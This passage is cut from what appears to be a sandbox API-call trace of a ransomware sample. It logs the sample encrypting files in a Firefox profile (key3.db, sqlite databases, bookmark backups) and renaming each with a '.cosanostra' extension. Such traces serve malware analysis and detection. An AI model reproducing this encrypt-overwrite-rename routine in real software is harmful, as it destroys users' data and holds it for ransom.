pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db.cosanostra") returned 110 [0099.104] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db.cosanostra")) returned 1 [0099.107] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f268 | out: pbBuffer=0x251f268) returned 1 [0099.107] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f260*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f260*=0x30) returned 1 [0099.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.108] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 151 [0099.108] StrStrW (lpFirst="818200132aebmoouht.sqlite", lpSrch=".txt") returned 0x0 [0099.115] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.115] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f224, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f224*=0x2800, lpOverlapped=0x0) returned 1 [0099.115] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.115] WriteFile (in: hFile=0x15c, lpBuffer=0x251f264*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f224, lpOverlapped=0x0 | out: lpBuffer=0x251f264*, lpNumberOfBytesWritten=0x251f224*=0x4, lpOverlapped=0x0) returned 1 [0099.116] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f224, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f224*=0x30, lpOverlapped=0x0) returned 1 [0099.116] CloseHandle (hObject=0x15c) returned 1 [0099.116] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.cosanostra") returned 162 [0099.116] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.cosanostra")) returned 1 [0099.119] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f260 | out: pbBuffer=0x251f260) returned 1 [0099.119] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f258*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f258*=0x30) returned 1 [0099.119] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\.metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\.metadata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.119] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\.metadata") returned 131 [0099.119] StrStrW (lpFirst=".metadata", lpSrch=".txt") returned 0x0 [0099.119] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.119] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f21c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f21c*=0x0, lpOverlapped=0x0) returned 1 [0099.120] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.120] WriteFile (in: hFile=0x15c, lpBuffer=0x251f25c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f21c, lpOverlapped=0x0 | out: lpBuffer=0x251f25c*, lpNumberOfBytesWritten=0x251f21c*=0x4, lpOverlapped=0x0) returned 1 [0099.121] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f21c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f21c*=0x30, lpOverlapped=0x0) returned 1 [0099.121] CloseHandle (hObject=0x15c) returned 1 [0099.121] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\.metadata.cosanostra") returned 142 [0099.121] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\.metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\.metadata"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\.metadata.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\.metadata.cosanostra")) returned 1 [0099.123] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f258 | out: pbBuffer=0x251f258) returned 1 [0099.123] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f250*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f250*=0x30) returned 1 [0099.123] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.124] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite") returned 109 [0099.124] StrStrW (lpFirst="extensions.sqlite", lpSrch=".txt") returned 0x0 [0099.125] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.125] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f214, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f214*=0x2800, lpOverlapped=0x0) returned 1 [0099.125] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.125] WriteFile (in: hFile=0x15c, lpBuffer=0x251f254*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f214, lpOverlapped=0x0 | out: lpBuffer=0x251f254*, lpNumberOfBytesWritten=0x251f214*=0x4, lpOverlapped=0x0) returned 1 [0099.126] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f214, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f214*=0x30, lpOverlapped=0x0) returned 1 [0099.126] CloseHandle (hObject=0x15c) returned 1 [0099.126] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite.cosanostra") returned 120 [0099.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.sqlite.cosanostra")) returned 1 [0099.127] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f258 | out: pbBuffer=0x251f258) returned 1 [0099.127] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f250*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f250*=0x30) returned 1 [0099.127] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0099.128] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini") returned 106 [0099.128] StrStrW (lpFirst="extensions.ini", lpSrch=".txt") returned 0x0 [0099.128] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffff73, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.129] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x251f214, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f214*=0x8d, lpOverlapped=0x0) returned 1 [0099.129] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.129] WriteFile (in: hFile=0x15c, lpBuffer=0x251f254*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f214, lpOverlapped=0x0 | out: lpBuffer=0x251f254*, lpNumberOfBytesWritten=0x251f214*=0x4, lpOverlapped=0x0) returned 1 [0099.129] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f214, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f214*=0x30, lpOverlapped=0x0) returned 1 [0099.129] CloseHandle (hObject=0x15c) returned 1 [0099.129] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini.cosanostra") returned 117 [0099.129] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.ini.cosanostra")) returned 1 [0099.130] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f250 | out: pbBuffer=0x251f250) returned 1 [0099.130] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f248*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f248*=0x30) returned 1 [0099.130] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.147] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite") returned 108 [0099.147] StrStrW (lpFirst="downloads.sqlite", lpSrch=".txt") returned 0x0 [0099.214] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.214] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f20c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f20c*=0x2800, lpOverlapped=0x0) returned 1 [0099.215] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.215] WriteFile (in: hFile=0x180, lpBuffer=0x251f24c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f20c, lpOverlapped=0x0 | out: lpBuffer=0x251f24c*, lpNumberOfBytesWritten=0x251f20c*=0x4, lpOverlapped=0x0) returned 1 [0099.215] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f20c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f20c*=0x30, lpOverlapped=0x0) returned 1 [0099.215] CloseHandle (hObject=0x180) returned 1 [0099.215] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite.cosanostra") returned 119 [0099.215] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite.cosanostra")) returned 1 [0099.222] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f248 | out: pbBuffer=0x251f248) returned 1 [0099.222] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f240*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f240*=0x30) returned 1 [0099.223] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.224] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json") returned 135 [0099.224] StrStrW (lpFirst="bookmarks-2017-06-16_5.json", lpSrch=".txt") returned 0x0 [0099.225] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff425, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.225] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xbdb, lpNumberOfBytesWritten=0x251f204, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f204*=0xbdb, lpOverlapped=0x0) returned 1 [0099.225] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.225] WriteFile (in: hFile=0x180, lpBuffer=0x251f244*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f204, lpOverlapped=0x0 | out: lpBuffer=0x251f244*, lpNumberOfBytesWritten=0x251f204*=0x4, lpOverlapped=0x0) returned 1 [0099.225] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f204, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f204*=0x30, lpOverlapped=0x0) returned 1 [0099.225] CloseHandle (hObject=0x180) returned 1 [0099.225] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json.cosanostra") returned 146 [0099.225] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-16_5.json.cosanostra")) returned 1 [0099.226] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f248 | out: pbBuffer=0x251f248) returned 1 [0099.226] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f240*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f240*=0x30) returned 1 [0099.226] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.227] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json") returned 135 [0099.227] StrStrW (lpFirst="bookmarks-2017-06-05_5.json", lpSrch=".txt") returned 0x0 [0099.228] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff425, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.229] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xbdb, lpNumberOfBytesWritten=0x251f204, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f204*=0xbdb, lpOverlapped=0x0) returned 1 [0099.229] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.229] WriteFile (in: hFile=0x180, lpBuffer=0x251f244*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f204, lpOverlapped=0x0 | out: lpBuffer=0x251f244*, lpNumberOfBytesWritten=0x251f204*=0x4, lpOverlapped=0x0) returned 1 [0099.229] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f204, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f204*=0x30, lpOverlapped=0x0) returned 1 [0099.229] CloseHandle (hObject=0x180) returned 1 [0099.229] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json.cosanostra") returned 146 [0099.229] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\bookmarkbackups\\bookmarks-2017-06-05_5.json.cosanostra")) returned 1 [0099.230] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f240 | out: pbBuffer=0x251f240) returned 1 [0099.230] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f238*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f238*=0x30) returned 1 [0099.230] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\addons.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0099.231] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json") returned 103 [0099.231] StrStrW (lpFirst="addons.json", lpSrch=".txt") returned 0x0 [0099.231] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.231] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x251f1fc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f1fc*=0x18, lpOverlapped=0x0) returned 1 [0099.231] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.232] WriteFile (in: hFile=0x180, lpBuffer=0x251f23c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f1fc, lpOverlapped=0x0 | out: lpBuffer=0x251f23c*, lpNumberOfBytesWritten=0x251f1fc*=0x4, lpOverlapped=0x0) returned 1 [0099.232] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f1fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f1fc*=0x30, lpOverlapped=0x0) returned 1 [0099.232] CloseHandle (hObject=0x180) returned 1 [0099.232] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: 